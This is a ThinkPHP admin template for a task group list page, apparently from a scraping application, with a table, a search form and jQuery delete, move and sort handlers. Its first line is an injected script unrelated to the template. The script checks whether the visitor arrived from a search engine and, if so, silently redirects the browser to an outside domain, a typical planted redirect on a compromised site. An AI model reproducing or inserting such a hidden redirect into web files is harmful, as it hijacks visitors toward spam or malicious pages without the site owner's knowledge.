d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\taskgroup\list.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><extend name="Common:main" />
002: <block name="cssjs"> </block>
003: <block name="content">
004: <div class="box">
005:    <div class="box-body">
006:       
007:       
008:       <form id="form_list" method="post" ajax-submit="true" action="{:U('Taskgroup/op')}">
009:       <input type="hidden" name="op" value="saveall" />
010:       <table id="list_table" class="table table-bordered table-hover datatable">
011:          <thead>
012:             <tr>
013:                <th width="50" class="chk">{$Think.lang.select}</th>
014:                <th width="80">{$Think.lang.sort}</th>
015:                <th>{$Think.lang.taskgroup_name}</th>
016:                <th>{$Think.lang.op}</th>
017:             </tr>
018:          </thead>
019:          <tbody>
020:          <foreach name="parentList" item="pitem">
021:             <php>$num++;$itemList=is_array($subList[$pitem['id']])?array_merge(array($pitem),$subList[$pitem['id']]):array($pitem);</php>
022:             <foreach name="itemList" item="item">
023:             <tr class="bg{$num%2}">
024:                <td class="chk"><input type="checkbox" name="ids[]" value="{$item['id']}" /></td>
025:                <td class="sort"><input type="text" name="newsort[{$item['id']}]" class="form-control" value="{$item['sort']}" autocomplete="off" /></td>
026:                <td{$item['parent_id']?' class="sub"':''}>{$item['name']}</td>
027:                <td>
028:                   <a href="{:U('Taskgroup/edit?id='.$item['id'])}" class="edit">{$Think.lang.edit}</a>
029:                   &nbsp;
030:                   <a href="javascript:;" url="{:U('Taskgroup/op?op=delete&id='.$item['id'])}" class="delete">{$Think.lang.delete}</a>
031:                   &nbsp;
032:                   <div class="dropdown">
033:                      <a href="javascript:;" item-id="{$item['id']}" parent-id="{$item['parent_id']}" class="dropdown-toggle more" data-toggle="dropdown" aria-expanded="false">{$Think.lang.more}<span class="caret"></span></a>
034:                   </div>
035:                </td>
036:             </tr>
037:             </foreach>
038:          </foreach>
039:          </tbody>
040:          <tfoot>
041:             <tr>
042:                <td class="chk"><input type="checkbox" id="chkall" onclick="checkall(this,'ids[]')" /></td>
043:                <td colspan="2">
044:                   <button type="submit" class="btn btn-primary">{$Think.lang.save}</button>
045:                   <button type="button" class="btn btn btn-danger" id="deleteall">{$Think.lang.delete}</button>
046:                   <button type="button" class="btn btn btn-success" onclick="windowModal('{$Think.lang.tg_add_sub}','{:U('Taskgroup/add')}')">{$Think.lang.taskgroup_add}</button>
047:                </td>
048:                <td></td>
049:             </tr>
050:          </tfoot>
051:       </table>
052:       </form>
053:       {$pagenav}
054:    </div>
055:    <!-- /.box-body -->
056: </div>
057: <!-- /.box -->
058: <div class="list-footer">
059:    <form id="form_search" method="post" action="{:U('Taskgroup/list')}" class="form-inline">
060:       <div class="form-group form-group-sm">
061:          <label>{$Think.lang.taskgroup_parent_id}</label>
062:           <select name="parent_id" class="form-control">
063:              <option value="0">{$Think.lang.all}</option>
064:             <foreach name="parentTgList" item="tgName" key="tgId">
065:              <option value="{$tgId}">{$tgName}</option>
066:             </foreach>
067:           </select>
068:        </div>
069:       <div class="form-group form-group-sm">
070:          <label>{$Think.lang.taskgroup_name}</label>
071:            <input type="text" name="name" class="form-control" value="{$search['name']}">
072:         </div>
073:         <button type="submit" class="btn btn-default btn-sm">{$Think.lang.search}</button>
074:    </form>
075: </div>
076:
077: <script type="text/javascript">
078: $('#form_search select[name="parent_id"]').val("{$search['parent_id']}");
079:
080: $(document).ready(function(){
081:    //单个删除
082:    $('#list_table .delete').bind('click',function(){
083:       var obj=$(this);
084:       confirmRight('{$Think.lang.confirm_delete}',function(){
085:          $.ajax({
086:                 type: "GET",
087:                 url: obj.attr('url'),
088:                 dataType: "json",
089:                 success: function(data){
090:                   data.status==1?toastr.success(data.info):toastr.error(data.info);
091:                   if(data.status==1){
092:                       obj.parent().parent().remove();
093:                   }
094:                 }
095:             });
096:       });
097:    });
098:   
099:    //更多操作
100:    $('#list_table .more').bind('click',function(){
101:       var dropdown=$(this).parent('.dropdown');
102:       var options='<ul class="dropdown-menu'+($(document.body).width()<=500?' dropdown-menu-right':'')+'">';
103:       var parent_id=parseInt($(this).attr('parent-id'));
104:       if(parent_id==0){
105:          //是父分组
106:          var addTgUrl='{:U("Taskgroup/add?parent_id=_parent_id_")}';
107:          addTgUrl=addTgUrl.replace('_parent_id_',$(this).attr('item-id'));//传€parent_id
108:          options+='<li><a href="javascript:;" onclick="windowModal(\'{$Think.lang.tg_add_sub}\',\''+addTgUrl+'\')">{$Think.lang.tg_add_sub}</a></li>';
109:       }
110:
111:       var moveTgUrl='{:U("Taskgroup/op?op=move&id=_id_")}';
112:       moveTgUrl=moveTgUrl.replace('_id_',$(this).attr('item-id'));
113:       
114:       options+='<li><a href="javascript:;" onclick="windowModal(\'{$Think.lang.tg_move}\',\''+moveTgUrl+'\')">{$Think.lang.tg_move}</a></li></ul>';
115:       dropdown.find('.dropdown-menu').remove();
116:       dropdown.append(options);
117:    });
118:   
119:    //sort改变值后选中
120:    $('input[name^="newsort"]').bind('change',function(){
121:       $(this).parent().parent().find('input[name="ids[]"]').attr('checked',true);
122:    });
123:    //删除选中
124:    $('#deleteall').bind('click',function(){
125:       var obj=$(this);
126:       confirmRight('{$Think.lang.confirm_delete}',function(){
127:          $.ajax({
128:               type: "POST",
129:               url: "{:U('Taskgroup/op?op=deleteall')}",
130:               dataType: "json",
131:             data: $('#form_list').serialize(),
132:                success: function(data){
133:                   data.status==1?toastr.success(data.info):toastr.error(data.info);
134:                setTimeout("window.location.reload();",2500);
135:               }
136:            });
137:       });
138:    });
139: });
140:
141: </script>
142: </block>
143:
144: